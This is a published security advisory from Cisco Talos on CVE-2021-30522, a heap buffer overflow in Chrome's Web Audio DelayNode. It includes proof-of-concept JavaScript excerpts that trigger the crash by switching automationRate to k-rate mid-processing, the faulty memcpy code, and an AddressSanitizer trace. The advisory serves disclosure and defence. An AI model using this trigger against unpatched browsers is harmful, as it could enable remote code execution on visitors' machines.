Talos Vulnerability Report

TALOS-2021-1251

Google Chrome AudioDelayDSPKernel::ProcessKRate heap-based buffer overlow vulnerability

June 8, 2021
CVE Number

CVE-2021-30522

Summary

An exploitable heap-based buffer overflow vulnerability exists in the Google Chromium browser affecting at least versions 89.0.4383.0 64-bit and 90.0.4390.0 64-bit. A specially crafted HTML web page can cause a heap-based Buffer Overflow condition, resulting in a remote code execution. The victim needs to visit malicious web site to trigger the vulnerability.

Tested Versions

Google Chrome ver 841401 ( 89.0.4383.0 64-bit)
Google Chrome ver 844161 ( 90.0.4390.0 64-bit)

Product URLs

https://www.google.com/chrome/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-122 - Heap-based Buffer Overflow

Details

Google Chrome is a cross-platform web browser developed by Google.

To understand the vulnerability let us analyze some parts of the poc.html file and coresponding logged lines from the browser console:

 "Mutation nodes amount :  6"
 "[ 4:21:34 PM ] :: Connecting nodes"
 "[ 4:21:34 PM ] :: Nodes connected"
 "[ 4:21:34 PM ] :: MediaElementAudioSourceNode_handler"
 "[ 4:21:34 PM ] :: AudioContext_handler"
 "IIRFilterNode: state is bad, probably due to unstable filter."
 
 "[ 4:21:34 PM ] :: ScriptProcessorNode_oncomplete"
 "[ 4:21:34 PM ] :: Index : 1"
 "[ 4:21:34 PM ] :: Connect IIRFilterNode to DelayNode.delayTime"

As we can see, after an initialization phase of PoC setup, first events start to appear and being handle. Crucial actions for our PoC take place inside the oncomplete event handler named ScriptProcessorNode_oncomplete of the ScriptProcessorNode node:

Line 42     var g_fuzzRandom_index = 0;
Line 43
Line 44     //events handlers
Line 45     function ScriptProcessorNode_oncomplete()
Line 46     {
Line 47         writeLog("ScriptProcessorNode_oncomplete");
Line 48         
Line 49         g_fuzzRandom_index++;
Line 50         writeLog("Index : " + g_fuzzRandom_index);
Line 51
Line 52
Line 53         if(g_fuzzRandom_index == 1)
Line 54         {    
Line 55             writeLog("Connect IIRFilterNode to DelayNode.delayTime");
Line 56             audioNodesObjects.mutation[4].obj.connect( audioNodesObjects.mutation[5].obj.delayTime );    
Line 57             return;
Line 58         }

During the first execution of ScriptProcessorNode_oncomplete event handler IIRFilterNode node is being connected to an AudioParam object. In our case it is a delayTime field of DelayNode object line 56. That connection is required to trigger the vulnerability but tests have shown that beside IIRFilterNode a different type of AudioNode can be also use to obtain the same result.

When the ScriptProcessorNode_oncomplete handler is executed for a second time, the following lines will appear inside the log file:

 "[ 4:21:35 PM ] :: ScriptProcessorNode_oncomplete"
 "[ 4:21:35 PM ] :: Index : 2"
 "[ 4:21:35 PM ] :: Switch delayTime of DelayNode to k-rate"

and the corresponding code is executed :

Line 59	if(g_fuzzRandom_index == 2)
Line 60	{                       
Line 61		//DelayNode
Line 62		writeLog("Switch delayTime of DelayNode to k-rate");
Line 63		audioNodesObjects.mutation[5].obj.delayTime.automationRate = "k-rate";
Line 64		return;
Line 65	}	 

The crucial code is executed in line 63 where value of automationRate field is changed to k-rate from a-rate. More details about possible AutomationRate values are available here: https://www.w3.org/TR/webaudio/#dom-audioparam-automationrate That switch during processing phase (we are inside oncomplete event handler) leads to the vulnerability inside blink::AudioDelayDSPKernel::ProcessKRate method located in file third_party\blink\renderer\platform\audio\audio_delay_dsp_kernel.cc. As you might notice browsing code around blink::AudioDelayDSPKernel::ProcessKRate there is also method responsible of data procesing in case when automationRate field is set to a-rate and its called AudioDelayDSPKernel::ProcessARate. As I mentioned before, it seems to runtime change from “a-rate” to “k-rate” during processing phase have lead to internal state confusion of the DelayNode object and finally to the vulnerability in :

audio_delay_dsp_kernel.cc

Line 276   // Now copy out the samples from the buffer, starting at the read pointer,
Line 277   // carefully handling wrapping of the read pointer.
Line 278   float* read_pointer = &buffer[read_index1];
Line 279  
Line 280   int remainder = buffer_end - read_pointer;
Line 281   memcpy(sample1, read_pointer,
Line 282          sizeof(*sample1) *
Line 283              std::min(static_cast<int>(frames_to_process), remainder));

There is no check whether buffer_end is smaller than read_pointer which in our case happens. Further in line 281 as a size parameter for memcpy the smaller value of frames_to_process and reminder is selected. Because both variables are treated as a signed integer our remainder ends up beeing selected because its value is < 0. At the end its casted to size_t (unsigned value) what finally cause an attempt to copy a huge amount of memory.

Proper heap grooming can give an attacker full control of this heap overflow vulnerability and as a result could allow it to be turned into a arbitrary code execution.

Crash Information

=================================================================
==1076==ERROR: AddressSanitizer: negative-size-param: (size=-8589824196)
	#0 0x7ff74867402f in __asan_memcpy C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_interceptors_memintrinsics.cpp:22
	#1 0x7ffaf2dc9ab1 in blink::AudioDelayDSPKernel::ProcessKRate(float const *, float *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_delay_dsp_kernel.cc:281:3
	#2 0x7ffaf2dcf38c in blink::AudioDSPKernelProcessor::Process(class blink::AudioBus const *, class blink::AudioBus *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_dsp_kernel_processor.cc:85:20
	#3 0x7ffaf23dfbac in blink::AudioBasicProcessorHandler::Process(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_basic_processor_handler.cc:85:18
	#4 0x7ffaf0be1e26 in blink::AudioHandler::ProcessIfNecessary(unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node.cc:368:7
	#5 0x7ffaf18a8f2c in blink::AudioNodeOutput::Pull(class blink::AudioBus *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_output.cc:137:13
	#6 0x7ffaf18abfe6 in blink::AudioNodeInput::SumAllConnections(class scoped_refptr<class blink::AudioBus>, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:128:40
	#7 0x7ffaf18ac278 in blink::AudioNodeInput::Pull(class blink::AudioBus *, unsigned int) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\audio_node_input.cc:158:3
	#8 0x7ffaf1953707 in blink::RealtimeAudioDestinationHandler::Render(class blink::AudioBus *, unsigned int, struct blink::AudioIOPosition const &, struct blink::AudioCallbackMetric const &) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\webaudio\realtime_audio_destination_node.cc:207:18
	#9 0x7ffaf23c15a7 in blink::AudioDestination::RequestRender(unsigned __int64, unsigned __int64, double, double, unsigned __int64) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_destination.cc:251:17
	#10 0x7ffaf23c03f4 in blink::AudioDestination::Render(class blink::WebVector<float *> const &, unsigned __int64, double, double, unsigned __int64) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\audio\audio_destination.cc:194:5
	#11 0x7ffaedebee86 in content::RendererWebAudioDeviceImpl::Render(class base::TimeDelta, class base::TimeTicks, int, class media::AudioBus *) C:\b\s\w\ir\cache\builder\src\content\renderer\media\renderer_webaudiodevice_impl.cc:253:21
	#12 0x7ffada23aef4 in media::SilentSinkSuspender::Render(class base::TimeDelta, class base::TimeTicks, int, class media::AudioBus *) C:\b\s\w\ir\cache\builder\src\media\base\silent_sink_suspender.cc:84:14
	#13 0x7ffada171b16 in media::AudioOutputDeviceThreadCallback::Process(unsigned int) C:\b\s\w\ir\cache\builder\src\media\audio\audio_output_device_thread_callback.cc:80:21
	#14 0x7ffada15810f in media::AudioDeviceThread::ThreadMain(void) C:\b\s\w\ir\cache\builder\src\media\audio\audio_device_thread.cc:95:18
	#15 0x7ffae1c7f18f in base::`anonymous namespace'::ThreadFunc C:\b\s\w\ir\cache\builder\src\base\threading\platform_thread_win.cc:111:13
	#16 0x7ff74867e3a8 in __asan::AsanThread::ThreadStart(unsigned __int64, struct __sanitizer::atomic_uintptr_t *) C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_thread.cpp:273
	#17 0x7ffba61a7c23  (C:\WINDOWS\System32\KERNEL32.DLL+0x180017c23)
	#18 0x7ffba7ced4d0  (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18006d4d0)

Timeline

2021-01-26 - Vendor Disclosure
2021-05-25 - Vendor Patched
2021-06-08 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.